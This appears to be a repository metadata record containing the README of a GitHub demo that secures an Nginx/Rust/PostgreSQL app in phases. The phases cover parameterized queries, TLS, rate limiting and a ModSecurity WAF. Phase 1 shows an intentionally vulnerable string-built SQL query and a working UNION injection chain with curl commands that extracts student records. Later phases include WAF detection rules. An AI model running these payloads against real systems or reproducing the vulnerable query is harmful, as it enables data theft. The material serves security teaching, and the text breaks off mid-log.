{"id":15064684,"url":"https://github.com/wesdoyle/nginx-security-demo","last_synced_at":"2026-02-07T14:33:07.763Z","repository":{"id":256037822,"uuid":"853808539","full_name":"wesdoyle/nginx-security-demo","owner":"wesdoyle","description":"A step-by-step guide demonstrating web application security using Nginx, Rust, and PostgreSQL. Demonstrates progression from a vulnerable setup to a more secure configuration, covering SQL injection prevention, TLS implementation, rate limiting, and WAF integration.","archived":false,"fork":false,"pushed_at":"2024-09-09T20:54:36.000Z","size":371,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-25T00:35:31.897Z","etag":null,"topics":["nginx","owasp-top-10","security-education","waf"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/wesdoyle.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-09-07T15:41:31.000Z","updated_at":"2024-09-09T20:54:40.000Z","dependencies_parsed_at":"2024-09-08T17:49:54.745Z","dependency_job_id":"df0b141d-e636-4a5d-8e24-451ed2b1f7b1","html_url":"https://github.com/wesdoyle/nginx-security-demo","commit_stats":null,"previous_names":["wesdoyle/nginx-security-demo"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/wesdoyle/nginx-security-demo","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wesdoyle%2Fnginx-security-demo","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wesdoyle%2Fnginx-security-demo/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wesdoyle%2Fnginx-security-demo/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wesdoyle%2Fnginx-security-demo/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/wesdoyle","download_url":"https://codeload.github.com/wesdoyle/nginx-security-demo/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wesdoyle%2Fnginx-security-demo/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29197022,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-07T12:38:28.597Z","status":"ssl_error","status_checked_at":"2026-02-07T12:38:23.888Z","response_time":63,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["nginx","owasp-top-10","security-education","waf"],"created_at":"2024-09-25T00:24:51.770Z","updated_at":"2026-02-07T14:33:07.748Z","avatar_url":"https://github.com/wesdoyle.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Securing Nginx: A Step-by-Step Guide\n\n## Introduction\n\nThis project demonstrates a progressive approach to securing a web application using [Nginx](https://github.com/nginx/nginx) as a reverse proxy. It uses a Rust API backend and PostgreSQL database, and provides example Docker Compose files for hands-on experimentation. It's structured in five phases, each building upon the previous one to showcase different security measures and best practices - from a trivially vulnerable setup to a more robust starting point including TLS and WAF using ModSecurity.\n\nThrough five phases, we gradually secure this setup, addressing common vulnerabilities and implementing industry-standard security practices.\n\nThe purpose of this demo is to illustrate a hands-on approach to implementing basic security measures, including SQL injection prevention, TLS, mitigating excessive load, and setting up a WAF using [ModSecurity](https://github.com/owasp-modsecurity/ModSecurity) with Nginx.\n\nA `docker-compose.yml` file within each of the subdirectories provides a running example of the stack in that phase.\n\n# Table of Contents\n\n1. [Introduction](#introduction)\n2. [Project Structure](#project-structure)\n3. [Disclaimer](#disclaimer)\n4. [Phase 1: Trivially Vulnerable API](#phase-1-trivially-vulnerable-api)\n   - [Running the Phase 1 Demo](#running-the-phase-1-demo)\n   - [Demonstrating the SQL Injection Vulnerability](#demonstrating-the-sql-injection-vulnerability)\n5. [Phase 2: Implementing Parameterized SQL Queries](#phase-2-implementing-parameterized-sql-queries)\n   - [The Vulnerability](#the-vulnerability)\n   - [The Patch](#the-patch)\n   - [Running the Phase 2 Demo](#running-the-phase-2-demo)\n6. [Phase 3: Adding TLS with Nginx](#phase-3-adding-tls-with-nginx)\n   - [Inspecting Network Traffic with tcpdump](#inspecting-network-traffic-with-tcpdump)\n   - [Updating Nginx to use TLS](#updating-nginx-to-use-tls)\n   - [Running the Phase 3 Demo](#running-the-phase-3-demo)\n7. [Phase 4: Rate Limiting, Load Shedding](#phase-4-rate-limiting-load-shedding)\n   - [Nginx Directives for Rate and Connection Limiting](#nginx-directives-for-rate-and-connection-limiting)\n   - [Running the Phase 4 Demo](#running-the-phase-4-demo)\n   - [Observing Rate Limiting](#observing-rate-limiting)\n   - [Observing Concurrent Connection Limiting](#observing-concurrent-connection-limiting)\n8. [Phase 5: Adding a Web Application Firewall (WAF)](#phase-5-adding-a-web-application-firewall-waf)\n   - [Key Updates](#key-updates)\n   - [Key Features](#key-features)\n   - [Running the Phase 5 Demo](#running-the-phase-5-demo)\n   - [Considerations](#considerations)\n9. [Contributing](#contributing)\n\n## Disclaimer \n\n**⚠️ This project is for educational purposes only.  Source code and configuration in this repository demonstrate intentionally insecure practices to highlight the importance of proper security measures.** \n\nThe vulnerabilities shown in this project are dangerous and can lead to serious security breaches if used in a real-world application. By proceeding with this project, you acknowledge that you understand the risks associated with these vulnerable practices and agree to use this knowledge responsibly and ethically.\n\nAlways sanitize your inputs and use parameterized queries to prevent SQL injection vulnerabilities. Always encrypt traffic between services. Never trust user input. \n\n**Security is an ongoing practice, not a one-time implementation.** Stay informed, keep your software up-to-date, and continuously improve your security posture. Refer to the [OWASP Top 10 awareness document](https://owasp.org/www-project-top-ten/) as a first step.\n\nBy using any part of this software, you acknowledge and agree that:\n\n1. You understand the risks associated with these vulnerable practices.\n2. You will use this knowledge responsibly and ethically.\n3. You will not deploy or use any part of this project in a production environment or any environment containing sensitive data.\n4. The author(s) of this project are not responsible for any damages, losses, or consequences resulting from the use or misuse of this information.\n5. You are solely responsible for securing your own applications and infrastructure.\n6. The techniques demonstrated here may become outdated, and new vulnerabilities may emerge. It's your responsibility to stay informed about current security best practices.\n\n## Project Structure\n\nThe project is organized into five directories; after the first phase, each subsequent step represents a gradual improvement to overall web application security:\n\n```\n.\n├── 01-vulnerable-setup\n├── 02-parameterized-query\n├── 03-adding-tls\n├── 04-adding-waf\n└── 05-rate-limiting-and-load-shedding\n```\n\nEach directory contains the following files and subdirectories:\n- `api/`: Rust API source code\n- `docker-compose.yml`: Docker Compose configuration for the phase\n- `init.sql`: Initial database setup script\n- `nginx/`: Nginx configuration files\n\n## Running the stack at any given phase\n\n1. In any given Phase directory, stop containers and start containers:\n   ```\n   docker-compose up --build\n   ```\n\n3. Access the application at `http://localhost` (or `https://localhost` for phases 3-5)\n\n4. Once any given Phase is complete, stop the application:\n   ```\n   docker-compose down -v\n   ```\n\n## Phase 1: Trivially Vulnerable API \n\n**⚠️ This phase sets up the basic application with a improperly-written, vulnerable API.** \n\nIt includes:\n- A Rust web API with a trivially-exploited SQL injection vulnerability\n- A PostgreSQL database\n- A basic Nginx reverse proxy configuration\n\nThis setup demonstrates common security flaws in web applications, including a SQL injection vulnerability, unencrypted communication due to the absence of TLS, and the lack of measures to mitigate heavy load.\n\n### Running the Phase 1 Demo \n\nTo demonstrate, run the containers in this directory with\n\n```sh\ncd 01-vulnerable-setup\ndocker compose down -v \u0026\u0026 \\\ndocker compose build \u0026\u0026 \\\ndocker compose up\n```\n\nWhen the containers are ready, you can query the API on `localhost` using a browser or other client.\n\n(`http://localhost/search?prefix=Intro`):\n\n```json\n[\n    {\n        \"id\": 1,\n        \"title\": \"Introduction to Philosophy\",\n        \"description\": \"Explore fundamental questions about existence, knowledge, and ethics.\",\n        \"instructor\": \"Dr. Anne Johnson\"\n    },\n    {\n        \"id\": 4,\n        \"title\": \"Introduction to Psychology\",\n        \"description\": \"Learn the basics of human behavior, cognition, and emotion.\",\n        \"instructor\": \"Dr. Rachel Green\"\n    }\n]\n```\n\n**However, the API currently exposes a SQL injection vulnerability. 🚨**\n\nAfter exploring the API and discovering that it is very poorly designed, a malicious actor can exploit the vulnerabilty by constructing a query to return metadata about the database.  After some experimentation, they graft a PostgreSQL `VERSION()` call using a union in order to conform to the inferred shape of the table the application is querying.\n\nYou can confirm this using your browser or other client. For example, visit `http://localhost/search?prefix=Intro' UNION SELECT 1, VERSION(), NULL, NULL--` or invoke the request with `curl`:\n\n```sh\n$ curl http://localhost/search\\?prefix\\=Intro%27%20UNION%20SELECT%201,%20VERSION\\(\\),%20NULL,%20NULL-- | jq\n[\n  {\n    \"id\": 1,\n    \"title\": \"PostgreSQL 13.16 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\",\n    \"description\": null,\n    \"instructor\": null\n  }\n]\n```\n\n**Now that the attacker knows that the database appears to be Postgres, they can then write a query to list databases. (`http://localhost/search?prefix=Intro' UNION SELECT 1, datname, NULL, NULL FROM pg_database--`)**\n\n```sh\n$ curl http://localhost/search\\?prefix\\=Intro%27%20UNION%20SELECT%201,%20datname,%20NULL,%20NULL%20FROM%20pg_database-- | jq\n[\n  {\n    \"id\": 1,\n    \"title\": \"template0\",\n    \"description\": null,\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"coursedb\",\n    \"description\": null,\n    \"instructor\": null\n  }\n]\n```\n\n...tables...\n\n**(`http://localhost/search?prefix=Intro' UNION SELECT 1, table_name, NULL, NULL FROM information_schema.tables WHERE table_schema='public'--`):**\n\n```sh\n$ curl http://localhost/search\\?prefix\\=Intro%27%20UNION%20SELECT%201,%20table_name,%20NULL,%20NULL%20FROM%20information_schema.tables%20WHERE%20table_schema%20\\=%20%27public%27-- | jq\n[\n  {\n    \"id\": 1,\n    \"title\": \"students\",\n    \"description\": null,\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"course_students\",\n    \"description\": null,\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"courses\",\n    \"description\": null,\n    \"instructor\": null\n  }\n]\n```\n...and columns within tables visible to the application user:\n\n**(`http://localhost/search?prefix=Intro' UNION SELECT 1, column_name, data_type, NULL FROM information_schema.columns WHERE table_name='students'--`):**\n\n\n```sh\n$ curl http://localhost/search\\?prefix\\=Intro%27%20UNION%20SELECT%201,%20column_name,%20data_type,%20NULL%20FROM%20information_schema.columns%20WHERE%20table_name%20\\=%20%27students%27-- | jq\n[\n  {\n    \"id\": 1,\n    \"title\": \"first_name\",\n    \"description\": \"character varying\",\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"date_of_birth\",\n    \"description\": \"date\",\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"email\",\n    \"description\": \"character varying\",\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"last_name\",\n    \"description\": \"character varying\",\n    \"instructor\": null\n  },\n  {\n    \"id\": 1,\n    \"title\": \"id\",\n    \"description\": \"integer\",\n    \"instructor\": null\n  }\n]\n```\n\n...and, ultimately, all student details 💀:\n\n**(`http://localhost/search?prefix=Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM students--`):**\n\n```sh\n$ curl http://localhost/search\\?prefix\\=Intro%27%20UNION%20SELECT%20id,%20CONCAT\\(first_name,%20%27%20%27,%20last_name\\),%20email,%20CAST\\(date_of_birth%20AS%20VARCHAR\\)%20FROM%20students-- | jq\n[\n  {\n    \"id\": 2,\n    \"title\": \"Liam Baker\",\n    \"description\": \"liam.baker@example.com\",\n    \"instructor\": \"2002-08-22\"\n  },\n  {\n    \"id\": 1,\n    \"title\": \"Sophia Adams\",\n    \"description\": \"sophia.adams@example.com\",\n    \"instructor\": \"2001-05-15\"\n  },\n  ...\n]\n```\n\n**🕵️ Securing this API will require implementing security measures at multiple layers. In the next step, we'll focus on an immediate patch to the application layer to prevent basic SQL injection.**\n\n## Phase 2: Implementing parameterized SQL queries\n\nThis phase focuses on basic application-level security.  We'll address the immediate concern of the SQL injection vulnerability in the Rust API by parameterizing the query invoked by this API endpoint.\n\n### The vulnerability 💉\n\nIn Phase 1, the Rust code exposed a critical SQL injection vulnerability through unsafe string concatenation:\n\n```rust\nlet sql = format!(\n    \"SELECT id, title, description, instructor FROM courses WHERE title LIKE '{}%'\",\n    query.prefix\n);\nlet courses = sqlx::query_as::\u003c_, Course\u003e(\u0026sql)\n    .fetch_all(db_pool.get_ref())\n    .await;\n```\n\nThe user-supplied query.prefix is directly inserted into the SQL query string. There's no filtering or escaping of special characters in the user input. As demonstrated in Phase 1, an attacker could inject additional SQL commands, potentially leading to unauthorized data access or manipulation.\n\n### The patch 🩹\n\nIn Phase 2, we improve the Rust API by using parameterized queries via the [`sqlx::query_as!` macro](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html#using-rust-with-sqlx):\n\n```rust\nlet courses = sqlx::query_as!(\n    Course,\n    \"SELECT id, title, description, instructor FROM courses WHERE title LIKE $1\",\n    format!(\"{}%\", query.prefix)\n)\n.fetch_all(db_pool.get_ref())\n.await;\n```\n\nNow, the SQL query uses a parameter placholder `$1` instead of interpolating the user input directly into the string.  The macro ensures that user input is escaped and treated as data, rather than as part of the SQL command.  If malicious input is provided as an input, it will be treated as literal string data, preventing unintended SQL execution. \n\n**Always ensure SQL parameterization is handled server-side.**\n\nBy implementing this patch, the application significantly enhances its security posture against one of the most common and dangerous web application vulnerabilities.\n\n### Running the Phase 2 Demo \n\nTo demonstrate, run the containers in this directory with\n\n```sh\ncd 02-parameterized-query\ndocker compose down -v \u0026\u0026 \\\ndocker compose build \u0026\u0026 \\\ndocker compose up\n```\n\nTry again to run a SQL injection query against the API:\n\n(`http://localhost/search?prefix=Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM students--`)\n\n**Notice now that the request will fail, as the code expects a valid, type-checked input, rather than an arbitrary string.**\n\nWe've significantly improved application-level security by parameterizing our SQL queries in the Rust API.  However, anyone with access to the server can still inspect unencrypted network traffic between web clients and the Nginx server.  In the next phase, we'll encrypt this traffic with TLS.\n\n## Phase 3: Adding TLS with Nginx \n\nThis phase demonstrates the importance of encrypted communications in web security.\n\n**In this phase, we'll introduce HTTPS to our stack 🔐:**\n- Adds SSL/TLS encryption using self-signed certificates (see note about self-signed certs below)\n- Configures Nginx to use HTTPS and redirect HTTP traffic to HTTPS\n\nIf you run the Phase 1 or Phase 2 stack, you'll notice that all traffic is routed to the API through nginx over HTTP.  You'll notice that if you inspect network traffic on the loopback interface, it's completely unencrypted.  You can easily read information about the HTTP request and response events, including the entire contents of the payload.\n\n### Inspecting network traffic with `tcpdump` 🔍\n\nOn macOS, you can use a tool like `tcpdump` to demonstrate this:\n\n```sh\n$ sudo tcpdump -i lo0 -nvA 'tcp and port 80 and host 127.0.0.1'\n```\n\nvisiting `http://localhost/search?prefix=Intro` in your browser, you'll see something like this written to your terminal by tcpdump (truncated for brevity):\n\n```sh\ntcpdump: listening on lo0, link-type NULL (BSD loopback), snapshot length 524288 bytes\n22:49:15.304239 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 570, bad cksum 0 (-\u003e3abc)!)\n    127.0.0.1.60065 \u003e 127.0.0.1.80: Flags [P.], cksum 0x002f \n\nHost: localhost\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\n\n22:49:15.304318 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 52, bad cksum 0 (-\u003e3cc2)!)\nproto TCP (6), length 526, bad cksum 0 (-\u003e3ae8)!)\n    127.0.0.1.80 \u003e 127.0.0.1.60065: Flags [P.], cksum 0x0003 (incorrect -\u003e 0xd31a), seq 1:475, ack 518, win 6346, options [nop,nop,TS val 2002467784 ecr 1157802627], length 474: HTTP, length: 474\n        HTTP/1.1 200 OK\n        Server: nginx/1.27.1\n        Date: Sun, 08 Sep 2024 03:49:15 GMT\n        Content-Type: application/json\n        Content-Length: 319\n        Connection: keep-alive\n\n        [{\"id\":1,\"title\":\"Introduction to Philosophy\",\"description\":\"Explore fundamental questions about existence, knowledge, and ethics.\",\"instructor\":\"Dr. Anne Johnson\"},{\"id\":4,\"title\":\"Introduction to Psychology\",\"description\":\"Learn the basics of human behavior, cognition, and emotion.\",\"instructor\":\"Dr. Rachel Green\"}] [|http]\nw[;.E...HTTP/1.1 200 OK\n... \n```\n\nAs you can see, traffic sent over HTTP is insecure.  To encrypt this data, we update our Ngnix server to use an TLS cert.  **For demonstration purposes, we use a self-signed cert, generated locally using `openssl`**:\n\n```sh\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 \\\n  -keyout nginx-selfsigned.key \\\n  -out nginx-selfsigned.crt \\\n  -subj \"/C=US/ST=State/L=City/O=Organization/CN=localhost\"\n```\n\n**Note: Self-signed certificates are suitable for development and testing purposes but not for production environments.** 🔏 Self-signed certificates will trigger security warnings in browsers and are not trusted by default.\n\nFor production use, we would obtain a certificate from a trusted Certificate Authority (CA). Services like Let's Encrypt provide free, trusted TLS certificates that are widely recognized by browsers.\n\n### Updating Nginx to use TLS \n\nIn our `nginx.conf` configuration, it's very simple to set up TLS using this key and cert.  First, we create a new server block to listen on port `443`, the default HTTPS port. We redirect traffic from `80` to `443`:\n\n```nginx\n  # nginx.conf \n\n  # Redirect HTTP traffic to HTTPS\n  server {\n    listen 80;\n    server_name localhost;\n    return 301 https://$server_name$request_uri;\n  }\n\n  # HTTPS server config\n  server {\n    listen 443 ssl;\n    server_name localhost;\n  # ... other configuration ...\n\n  }\n```\n\nIn our new HTTPS server block, we use the `ssl_certificate` and `ssl_certificate_key` directives to point the server to the cert and key we generated.\n\n```nginx\n    # SSL / TLS certificate config\n    ssl_certificate /etc/nginx/ssl/nginx-selfsigned.crt;\n    ssl_certificate_key /etc/nginx/ssl/nginx-selfsigned.key;\n\n    # Protocols and cipher config - only allow TLS 1.2 and 1.3\n    ssl_protocols TLSv1.2 TLSv1.3;\n    ssl_prefer_server_ciphers on;\n    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256 # additional ciphers... \n  # ... other configuration ...\n```\n\n### Running the Phase 3 Demo \n\nTo demonstrate, run the containers in this directory with\n\n```sh\ncd 03-adding-tls\ndocker compose down -v \u0026\u0026 \\\ndocker compose build \u0026\u0026 \\\ndocker compose up\n```\n\nNow, with containers in this and subsequent phases running, we can access API data using HTTPS, e.g. at `https://localhost/search?prefix=Intro`.\n\nIn fact, we can use `tcpdump` again, modifying the command slightly to listen on port `443` instead of `80`. We'll also ignore checksum validation with `-K`, since we're working with the loopback interface (`lo0`). Checksum validations often fail when inspecting loopback traffic because the operating system may not compute checksums for loopback packets in the same way it does for packets traversing a physical network interface. This is an optimization, as the integrity of loopback traffic is generally assured by the OS itself. The exact behavior can vary depending on the operating system and its network stack implementation. For our demonstration, leaving these warnings in the output would just add noise to what we're trying to observe.\n\n```sh\n$ sudo tcpdump -i lo0 -nvAK 'tcp and port 443 and host 127.0.0.1'\n```\n\nNow, when you visit `https://localhost/search?prefix=Intro` in your browser, you'll see something like this written to your terminal by `tcpdump` (truncated for brevity):\n\n```sh\ntcpdump: listening on lo0, link-type NULL (BSD loopback), snapshot length 524288 bytes\n23:06:29.748692 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 592)\n    127.0.0.1.60147 \u003e 127.0.0.1.443: Flags [P.], seq 1385642167:1385642707, ack 117939963, win 6337, options [nop,nop,TS val 1445835693 ecr 384877254], length 540\nE..P..@.@...............R.8..........E.....\nV-............=.#.7.N.^....(. z..4...8.C.n8.1.Zy[.C.YS..j...?.I..\nl/.#[._F.4...o../6....'..Y.bH.^m....t.u-.....mt.J=.%`......!a...$...`...\u003c......Eh...x,8[r.S......) .}.....\"..zF.......(...      ...^W.-g.....\"....D.A\\,.^....-A..*........\n.).AUG...S.......P3..R..t.......|\n.*d.#............... ....:...K.fp4..%.0#..s.?J1_...w..Kp....~(.V......o...ko..o..y...'/..D.].\u003c\u003e..4\no.otX........,de.V......v\u003c...n......[P.E.-(...y?Xb...........9.mK\\W....fo%................\n 1.......m..ma$..`2u....+.-.y.u.8.._.....d\\ks..jj.....6..?KFk.G.LJ.%.-..z...;..].......s..5F\n23:06:29.748778 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 52)\n    127.0.0.1.443 \u003e 127.0.0.1.60147: Flags [.], ack 540, win 6343, options [nop,nop,TS val 384885596 ecr 1445835693], length 0\nE..4..@.@...................R.:......(.....\n...\\V-..\n23:06:29.752691 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 548)\n    127.0.0.1.443 \u003e 127.0.0.1.60147: Flags [P.], seq 1:497, ack 540, win 6343, options [nop,nop,TS val 384885600 ecr 1445835693], length 496\nE..$..@.@...................R.:............\n...`V-........Iz...5.B.zM.CV.Ij..c7l.5.?6..\"...l...h.4....Ra....^u........^.==....9.@.......P.Wg.d...._G..a........QeJncl..CT..NTO...F......!f-14\"6.......9.q...R....GY..#.k.hH.r..V..#_....g.CVt`.$..}.lg.{G...E..,S...j.b........\u003e.......l-.N.}...?..\\.i~u...5..mZ.5...8Wv.9+.2?.P.....`.._..+..](\u003c.....|..`Vi,..r.`P..L(......cW ...W.!O.......V...y|.....s.....\u003eD.........G...k.    ...\u003e.|SGT.l2-.  F....8....dCkDxQ\\...\u003e....$.P.......Bv......^.......=....u.MSr..8.F..W..~vz+t.....K.\\h[[....4..K.K.]..8`.;.?.Mb...g.f\n23:06:29.752771 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 52)\n    127.0.0.1.60147 \u003e 127.0.0.1.443: Flags [.], ack 497, win 6329, options [nop,nop,TS val 1445835697 ecr 384885600], length 0\nE..4..@.@...............R.:..........(.....\nV-.....`\n```\n\n## Phase 4: Rate Limiting, Load Shedding\n\nBuilding on the previous phase, this directory adds:\n- Rate limiting to prevent abuse of the API\n- Load shedding to maintain service availability under high load\n\nThese measures help protect against basic denial-of-service attacks and API abuse. 🔥\n\nTo implement this, we update `nginx.conf` to include new directives for rate limiting and connection limiting: `limit_req`, `limit_conn`.\n\n### Nginx directives for rate and connection limiting\n\n**`limit_req_zone` and `limit_conn_zone`**:\n\nThese directives define the zones for rate limiting and connection limiting:\n\n```nginx\nlimit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;\nlimit_conn_zone $binary_remote_addr zone=addr:10m;\n```\n\n`limit_req_zone`: Creates a shared memory zone named `one` of 10 megabytes to store request rates. It allows each client IP ($binary_remote_addr) to make up to 1 request per second (rate=1r/s).\n\n`limit_conn_zone`: Creates a shared memory zone named `addr` of 10 megabytes to track the number of simultaneous connections for each client IP.\n\n**`limit_req` and `limit_conn:`**\n\nThese directives apply the rate and connection limits defined above:\n\n```nginx\nlimit_req zone=one burst=5;\nlimit_conn addr 10;\n```\n\n`limit_req`: Enforces the rate limit from the `one` zone, allowing a burst of up to 5 extra requests.\n\n`limit_conn`: Limits each client IP to a maximum of 10 simultaneous connections in the `addr` zone.\n\n### Running the Phase 4 Demo \n\nTo demonstrate load shedding using rate and connection limiting, run the containers in this directory with\n\n```sh\ncd 04-rate-limiting-and-load-shedding\ndocker compose down -v \u0026\u0026 \\\ndocker compose build \u0026\u0026 \\\ndocker compose up\n```\n\nYou can test this by opening a browser to `http://localhost/search?prefix=Intro`.\n\n### Observing rate limiting\n\nRefresh the page and notice that it will hang when you make more than one request per second.  Make many consecutive requests by reloading rapidly, and notice that nginx will serve a 503 Service Unavailable for a brief period of time. 🙅\n\n### Observing concurrent connection limiting \n\nTo observe concurrent connection limits, you can use a tool like `ab`: \n\n```sh\n$ ab -n 20 -c 20 http://localhost/search\\?prefix\\=Intro\n```\n\nWhen making 20 concurrent connections, you'll notice from the logs that nginx rejects all concurrent connections above the configured limit.\n\nIt's may be case that there is some interaction between the rate limiting rule and the concurrent connection limit.  If you wish to isolate the connection limiting rule to observe it more easily, you can comment out the `limit_req` directive temporarily.\n\n## Phase 5: Adding a Web Application Firewall (WAF)\n\nThis phase incorporates ModSecurity, a powerful open-source Web Application Firewall (WAF), into our Nginx setup. A WAF adds an extra layer of security by inspecting incoming HTTP traffic and blocking potential attacks before they reach your application. 🧱\n\n- Integrates ModSecurity with Nginx\n- Configures basic ModSecurity rules to protect against common web attacks\n\n### Key Updates:\n\n1. **ModSecurity Integration**: \n   - The Nginx Dockerfile has been updated to include ModSecurity compilation and installation. This process is a bit complex, as at the time of writing, it includes building the project from source.  For this demo, we're using a Debian Bullseye Slim base image.\n    \n   - The `load_module` directive in `nginx.conf` enables the ModSecurity module.\n\n2. **Configuration Files**:\n   - `main.conf`: Sets up basic ModSecurity configuration and includes other config files.\n   - `modsecurity.conf`: Contains core ModSecurity settings and custom rules.\n   - `ruleset.conf`: Includes the OWASP Core Rule Set (CRS).\n   - `nginx.conf`: Updated to enable ModSecurity and set the rules file.\n\n3. **OWASP Core Rule Set (CRS)**:\n   - A set of generic attack detection rules that provide protection against many common attack categories.\n\n### Key Features:\n\n1. **SQL Injection Protection**: \n   ```\n   SecRule ARGS \"@detectSQLi\" \\\n       \"id:'200001',phase:2,block,log,msg:'SQL Injection Attempt Detected'\"\n   ```\n   This rule uses ModSecurity's built-in SQL injection detection to block potential attacks.  This provides an outer layer of security against SQL injection attacks, ideally catching them _before_ the request is passed to the Rust API.\n\n2. **Cross-Site Scripting (XSS) Protection**:\n   ```\n   SecRule ARGS \"@detectXSS\" \\\n       \"id:'200002',phase:2,block,log,msg:'XSS Attempt Detected'\"\n   ```\n   This rule employs ModSecurity's XSS detection capabilities to prevent XSS attacks.\n\n3. **CSRF Protection**:\n   ```\n   SecRule REQUEST_METHOD \"!@streq GET\" \"chain,id:'200006',phase:2,block,log,msg:'CSRF Attempt Detected'\"\n   SecRule \u0026ARGS:csrf_token \"@eq 0\"\n   ```\n   This rule checks for the presence of a CSRF token in non-GET requests.\n\n4. **File Upload Protection**:\n   ```\n   SecRule FILES_NAMES \"@rx \\.(php|phtml|php3|php4|php5|phps|exe|jsp|asp|aspx|cgi|pl|py|sh|dll)$\" \\\n       \"id:'200007',phase:2,block,log,msg:'Malicious File Upload Attempt Detected'\"\n   ```\n   This rule blocks uploads of potentially dangerous file types.\n\n5. **User-Agent Anomaly Detection**:\n   ```\n   SecRule REQUEST_HEADERS:User-Agent \"^$\" \\\n       \"id:'200008',phase:2,block,log,msg:'Empty User-Agent Detected'\"\n   ```\n   This rule flags requests with empty User-Agent headers, which could indicate automated attacks.\n\n6. **Logging and Debugging**:\n   - Extensive logging options are configured for debugging and auditing purposes.\n   - JSON log format is used for easier parsing and analysis.\n\nTo demonstrate the WAF in action, run the containers in this directory with\n\n```sh\ncd 05-adding-waf\ndocker compose down -v \u0026\u0026 \\\ndocker compose build \u0026\u0026 \\\ndocker compose up\n```\n\nNow, if you attempt to make a request with a potentially malicious payload, as we saw in Phase 1, the WAF will deny the request before it can be routed to the application layer. For example, visiting (https://localhost/search?prefix=Intro' UNION SELECT id, CONCAT(first_name, last_name), email, CAST(date_of_birth as VARCHAR) FROM students--` in your browser will cause the WAF to block the request and return a 403 Forbidden response.\n\nThe container is configured to log the WAF output as JSON, for observability: 👀\n\n```sh\n{\n    \"transaction\": {\n        \"client_ip\": \"192.168.65.1\",\n        \"time_stamp\": \"Sun Sep  8 14:56:21 2024\",\n        \"server_id\": \"01e30965642ab90e439b30f837ee5812d478e169\",\n        \"client_port\": 60474,\n        \"host_ip\": \"172.22.0.4\",\n        \"host_port\": 443,\n        \"unique_id\": \"172580738197.076400\",\n        \"request\": {\n            \"method\": \"GET\",\n            \"http_version\": 1.1,\n            \"uri\": \"/search?prefix=Intro%27%20UNION%20SELECT%20id,%20CONCAT(first_name,%20last_name),%20email,%20CAST(date_of_birth%20as%20VARCHAR)%20FROM%20students--\",\n            \"headers\": {\n                \"Sec-Fetch-User\": \"?1\",\n                \"Sec-Fetch-Site\": \"none\",\n                \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\",\n                \"Upgrade-Insecure-Requests\": \"1\",\n                \"Connection\": \"keep-alive\",\n                \"Sec-Fetch-Mode\": \"navigate\",\n                \"Accept-Encoding\": \"gzip, deflate, br, zstd\",\n                \"Accept-Language\": \"en-US,en;q=0.5\",\n                \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8\",\n                \"Sec-Fetch-Dest\": 